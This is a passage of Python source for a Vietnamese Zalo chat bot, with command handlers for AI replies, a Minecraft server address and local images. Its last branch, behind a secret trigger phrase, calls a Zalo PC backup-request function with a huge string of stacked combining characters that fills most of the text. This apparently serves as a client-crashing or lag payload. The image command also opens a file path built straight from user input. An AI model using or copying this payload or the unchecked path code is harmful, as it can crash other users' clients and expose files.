				cc = noidung.find("</think>", 50)
				if cc != -1:
					noidung = noidung[int(cc + len("</think>")):]
				else:
					noidung = noidung
				if noidung.startswith("![Generated Image]("):
					bruh = noidung.replace("![Generated Image](", "")
					anh = bruh.replace(")", "")
					self.sendImage(imagelink=anh, thread_id=thread_id, thread_type=thread_type)
				else:
					max_length = 3000
					while len(noidung) > 0:
						chunk = noidung[:max_length]

						self.replyMessage(Message(text=str(chunk)), message_object, thread_id, thread_type)
						noidung = noidung[max_length:]
			except Exception as e:
				self.replyMessage(Message(text=str(e)), message_object, thread_id, thread_type)

		elif message == self.prefix + f"ip":
			start_color = (95, 186, 164)
			end_color = (170, 124, 254)
			styles = []
			truongbigayy = "Java:smpnomaila.ddns.net\nPe:147.185.221.20:4803\nJava:1.7+\nPe:1.21+"
			length = len(truongbigayy)
			for i, char in enumerate(truongbigayy):
				r = int(start_color[0] + (end_color[0] - start_color[0]) * i / (length - 1))
				g = int(start_color[1] + (end_color[1] - start_color[1]) * i / (length - 1))
				b = int(start_color[2] + (end_color[2] - start_color[2]) * i / (length - 1))
				color = f'{r:02x}{g:02x}{b:02x}'
				styles.append(MessageStyle(offset=i, length=1, style="color", color=color, auto_format=False))

			smallfont = MessageStyle(style="font", size="13", offset=0, length=length, auto_format=False)
			styles.append(smallfont)
			style = MultiMsgStyle(styles)
			self.replyMessage(
				Message(
					text=truongbigayy, style=style
				),
				message_object,
				thread_id=thread_id,
				thread_type=thread_type
			)
		elif message.startswith(self.prefix + f"ảnh"):
			try:
				loi = f"Tin nhắn sai cú pháp\nVD: ._ảnh 0 hoặc ._ảnh"
				style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=len(loi.encode()), style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=len(loi.encode()), style="color", color="#cdd6f4", auto_format=False)
				])
				if message == self.prefix + f"ảnh":
					random_number = random.randint(0, 76)
					anhngaunhien = f"/storage/emulated/0/anh/lmao/{random_number}.png"
					uh = f"{random_number}/76"
					image = Image.open(anhngaunhien)
					image = image.convert('RGB')
					width, height = image.size
					self.sendLocalImage(str(anhngaunhien),
						message=Message(text=str(uh)),
						width=width,
						height=height,
						thread_id=thread_id,
						thread_type=thread_type,
					)
					return
				elif message.startswith(self.prefix + f"ảnh"):
					tungayanhmatemcathegioiphaitimchonup = message.replace(self.prefix + f"ảnh", "").strip()
					tungayanhmatemcathegioiphaitimchonun = f"/storage/emulated/0/anh/lmao/{tungayanhmatemcathegioiphaitimchonup}.png"
					concu = f"{tungayanhmatemcathegioiphaitimchonup}/76"
					image = Image.open(tungayanhmatemcathegioiphaitimchonun)
					image = image.convert('RGB') 
					width, height = image.size
					self.sendLocalImage(tungayanhmatemcathegioiphaitimchonun,
						message=Message(text=concu),
						thread_id=thread_id,
						thread_type=thread_type,
						width=width,
						height=height
					)
					return
			except Exception as lmao01:
				print(f"Error: {lmao01}")
				self.replyMessage(Message(text=lmao01, style=style_error), message_object, thread_id, thread_type)
		elif message == "owdmeodkeoekdoend":
			print(self.reqBackupDataMessageInZaloPC_POST(pc_name=" ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ ๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊๊ܻܻܻܻܻܻܻܻܻܻ݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆݆ܻܻࣩࣩࣩࣩࣩࣩ࣯ࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩࣩ֟֟֟֟֟֟֟֟֟֟֟֟֟֓֓֓֓֓֓֓֓֓֓֓֓֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֒֓֓֓֓֓֓֓֓֒֒֒֘֘֘֘֘֘֘֗֗֗֗֗֗֗֗֗֗֗֗֗֗֗ؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؖؕؕؕ 